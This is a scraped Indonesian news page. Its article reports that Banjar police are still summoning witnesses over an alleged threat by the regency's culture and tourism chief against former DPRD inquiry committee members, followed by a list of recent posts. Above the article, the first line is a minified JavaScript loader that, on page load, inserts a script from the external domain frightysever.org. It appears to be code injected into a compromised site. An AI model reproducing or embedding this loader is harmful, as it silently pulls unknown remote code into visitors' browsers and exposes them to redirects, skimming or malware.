(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Kasus Pengancaman Hak Angket DPRD Banjar, Polisi Masih Panggil Sejumlah Saksi


MARTAPURA, Polres Banjar masih akan memanggil beberapa saksi lagi atas kasus laporan ancaman terhadap mantan Pansus Hak Angket DPRD Banjar Akhmad Rozanie dan Ismail Hasan, oleh Kepala Dinas Kebudayaan dan Pariwisata Banjar Haris Rifani, Rabu (6/6) lalu.

Menurut Kapolres Banjar AKBP Takdir Mattanete melalui Wakapolres Banjar Kompol Ajie Lukman SIK, SH, hingga sekarang ini pihaknya masih akan mendalami kasus dugaan pengancaman yang telah dilakukan Haris Rifani. Dalam laporan yang telah diadukan Rozanie dan Ismail Hasan, memang terdapat unsur Pasal 335 ayat (1) ke-1 KUHP yaitu suatu tindak yang tidak menyenangkan. “Tidak pidana 335 ayat (1) ke-1 KUHP memang sudah dicabut, namun masih kita dalami untuk unsur-unsur pengancamannya,” ujarnya.

Menurut Ajie, saat ini pihaknya masih akan memanggil dua atau tiga saksi lagi. “Walau sebelumnya sudah ada dua yang dipanggil sebagai saksi salah satunya yaitu Kasmili dari komisi III. Namun yang bersangkutan menyampaikan masih belum bisa hadir,” akunya.

Ditanya siapa lagi yang akan dipanggil kedepannya, Ajie mengatakan pihaknya akan terus menindak lanjuti kasus tersebut untuk melengkapi alat-alat bukti. “Nanti ya mungkin ada 2-3 orang lagi yang akan dipanggil, dan selanjutnya bagaimana hasil gelar perkaranya itu adalah kewenangan dari penyidik,” ujarnya.

Terkait terlapor, hingga sampai sekarang ini masih belum ada pemanggilan. Ajie berdalih yang bersangkutan akan dipanggil setelah saksi-saksi sudah lengkap.

Perlu diketahui, friksi yang sebelumnya terjadi soal hak angket DPRD Banjar akhirnya memuncak dalam sidang paripurna DPRD Banjar, Rabu (6/6) lalu. Sempat tertunda beberapa kali, paripurna yang salah satu agendanya membahas hasil investigasi Pansus (Panitia Khusus) Hak Angket mengenai dugaan terjadinya penyimpangan dalam proses mutasi di Pemkab Banjar berakhir rusuh!

Mantan Ketua Pansus Hak Angket Akhmad Rozanie yang merasa terancam atas dugaan yang telah dilakukan oleh Kepala Dinas Kebudaya dan Pariwisata Kabupaten Banjar tersebut langsung melaporkan kasus tersebut ke Polres Banjar seuasai berakhirnya hak angket tersebut.

“Karena saya mendapatkan ancaman langsung, dan untuk keselamatan saya sendiri, makanya saya melaporkan hal tersebut,” ujarnya.

Rozanie juga menambahkan kedatangannya ke Polres Banjar tersebut ada dua laporan yang disampaikannya yaitu laporan secara pribadi dan secara kelembagaan, “Yang mana kelembagaan itu bisa dimasukan ketika orang itu mengancam saya sewaktu di Kantor DPRD Banjar,” jelasnya.

Ketika itu, dalam paparannya Pansus Hak Angket menyampaikan sebanyak 14 aturan yang dilanggar dalam hasil investigasi hak angket tersebut. Diantaranya adalah Bupati daLam melakukan pelantikan tanggal 27 oktober 2017 hanya bardasarkan telaahan staf dari kepala BKD, ketua baperjakat tidak diberikan waktu untuk menyampalkan saran dan pertimbangan sesuai SK Bupati nomor 212 tahun 2017 tentang Baperjakat dan bupati dalam keadaan tidak bisa dihubungi karena berada diluar daerah. Sehingga hal ini melanggar asas-asas umum pemerintahan yang baik. yaitu seorang bupati melaksanakan tugasnya hatus berdasarkan unsur keterbukaan dan berdasarkan sumpah jabatannya.

Pansus dalam laporannya juga menemukan pangakuan ASN yang menyerahkan sejumlah uang kepada orang tartantu guna memuluskan promosinya. Hal ini melanggar pasal 5 j0. Pasal 12 huruf a dan b undang-undang no.20 tahun 2001 tentang perubahan atas undang-undang nomor 31. Tahun 1999 tentang pemberantasan tindak pidana korupsi.

Nah, tak terima dengan laporan tersebut diduga Haris kemudian menemui Rozanie usai sidang dan mengeluarkan kata-kata yang dianggap oleh pelapor sebagai sebuah ancaman. (rendy)

Reporter:Rendy
Editor:Cell

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.